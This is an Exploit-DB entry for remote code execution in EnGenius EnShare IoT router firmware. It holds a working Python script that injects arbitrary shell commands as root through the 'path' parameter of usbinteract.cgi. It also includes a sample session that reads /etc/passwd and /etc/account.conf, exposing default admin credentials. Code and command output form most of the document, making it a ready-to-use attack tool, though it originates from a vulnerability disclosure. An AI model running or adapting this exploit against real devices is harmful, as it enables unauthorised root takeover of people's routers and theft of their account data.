Exploit-DB #42114
Description: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-06-04
Author: LiquidWorm

Exploit:
#!/usr/bin/env python
# coding: utf8
#
#
# EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution
#
#
# Vendor: EnGenius Technologies Inc.
# Product web page: https://www.engeniustech.com
# Affected version: ESR300  (1.4.9, 1.4.7, 1.4.2, 1.4.1.28, 1.4.0, 1.3.1.42, 1.1.0.28)
#                   ESR350  (1.4.11, 1.4.9, 1.4.5, 1.4.2, 1.4.0, 1.3.1.41, 1.1.0.29)
#                   ESR600  (1.4.11, 1.4.9, 1.4.5, 1.4.3, 1.4.2, 1.4.1, 1.4.0.23, 1.3.1.63, 1.2.1.46, 1.1.0.50)
#                   EPG5000 (1.3.9.21, 1.3.7.20, 1.3.3.17, 1.3.3, 1.3.2, 1.3.0, 1.2.0)
#                   ESR900  (1.4.5, 1.4.3, 1.4.0, 1.3.5.18 build-12032015@liwei (5668b74), 1.3.1.26, 1.3.0, 1.2.2.23, 1.1.0)
#                   ESR1200 (1.4.5, 1.4.3, 1.4.1, 1.3.1.34, 1.1.0)
#                   ESR1750 (1.4.5, 1.4.3, 1.4.1, 1.4.0, 1.3.1.34, 1.3.0, 1.2.2.27, 1.1.0)
#
# Summary: With the EnGenius IoT Gigabit Routers and free EnShare app, use
# your iPhone, iPad or Android-based tablet or smartphone to transfer
# video, music and other files to and from a router-attached USB hard
# drive. Enshare is a USB media storage sharing application that enables
# access to files remotely. The EnShare feature allows you to access media
# content stored on a USB hard drive connected to the router's USB port in
# the home and when you are away from home when you have access to the Internet.
# By default the EnShare feature is enabled.
#
# EnShareTM supports both FAT32 and NTFS USB formats. Transfer speeds of data
# from your router-attached USB storage device to a remote/mobile device may
# vary based on Internet uplink and downlink speeds. The router's design enables
# users to connect numerous wired and wireless devices to it and supports intensive
# applications like streaming HD video and sharing of media in the home and accessing
# media away from the home with EnShare - Your Personal Media Cloud.
#
# Desc: EnGenius EnShare suffers from an unauthenticated command injection
# vulnerability. An attacker can inject and execute arbitrary code as the
# root user via the 'path' GET/POST parameter parsed by 'usbinteract.cgi'
# script.
#
# =======================================================================
#
# bash-4.4$ python enshare.py 10.0.0.17
# [+] Command: ls -alsh
#   44 -rwxr-xr-x    1 0        0           42.5K Oct 31  2014 getsize.cgi
#    4 -rwxr-xr-x    1 0        0             606 Oct 31  2014 languageinfo.cgi
#   48 -rwxr-xr-x    1 0        0           44.2K Oct 31  2014 upload.cgi
#   48 -rwxr-xr-x    1 0        0           44.5K Oct 31  2014 usbinfo.cgi
#   56 -rwxr-xr-x    1 0        0           54.1K Oct 31  2014 usbinteract.cgi
#    0 drwxr-xr-x    4 0        0               0 Jun  3 00:52 ..
#    0 drwxr-xr-x    2 0        0               0 Oct 31  2014 .
#
# [+] Command: id
# uid=0(root) gid=0(root)
#
# [+] Command: cat /etc/passwd
#
# Connecting to 10.0.0.17 port 9000
#
# HTTP/1.1 200 OK
# root: !:0:0:root:/root:/bin/sh
# administrator: *:65534:65534:administrator:/var:/bin/false
# admin: *:60000:60000:webaccount:/home:/usr/bin/sh
# guest: *:60001:60000:webaccount:/home:/usr/bin/sh
# Content-type: text/html
# Transfer-Encoding: chunked
# Date: Sat, 03 Jun 2017 13:48:14 GMT
# Server: lighttpd/1.4.31
#
# 0
# [+] Command: pwd
# /www/web/cgi-bin
# [+] Command: cat /etc/account.conf
#
# HTTP/1.1 200 OK
# 1: admin:admin:4
# 1: guest:guest:1
# Content-type: text/html
# Transfer-Encoding: chunked
# Date: Sat, 03 Jun 2017 14:53:42 GMT
# Server: lighttpd/1.4.31
# bash-4.4$ 
#
# =======================================================================
#
# Tested on: Linux 2.6.36 (mips)
#            Embedded HTTP Server ,Firmware Version 5.11
#            lighttpd/1.4.31
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5413
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php
#
#
# 17.05.2017
#


import sys, socket

if len(sys.argv) < 2:
    print 'Usage: enshare.py <ip> [port]\n'
    quit()

ip = sys.argv[1]
port = 9000 if len(sys.argv) < 3 else int(sys.argv[2])
cmd = raw_input('[+] Command: ')

payload  = 'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\n'
payload += 'Host: {0}:{1}\r\n'
payload += 'Content-Length: {2}\r\n'
payload += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
payload += 'action=7&path=\"|{3}||\"'

msg = payload.format( ip, port, len(cmd)+19, cmd )
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = (ip, port)
print >>sys.stderr, '\nConnecting to %s port %s\n' % target
s.connect(target)
s.sendall(msg)
response = s.recv(5000)
s.close()

print response.strip()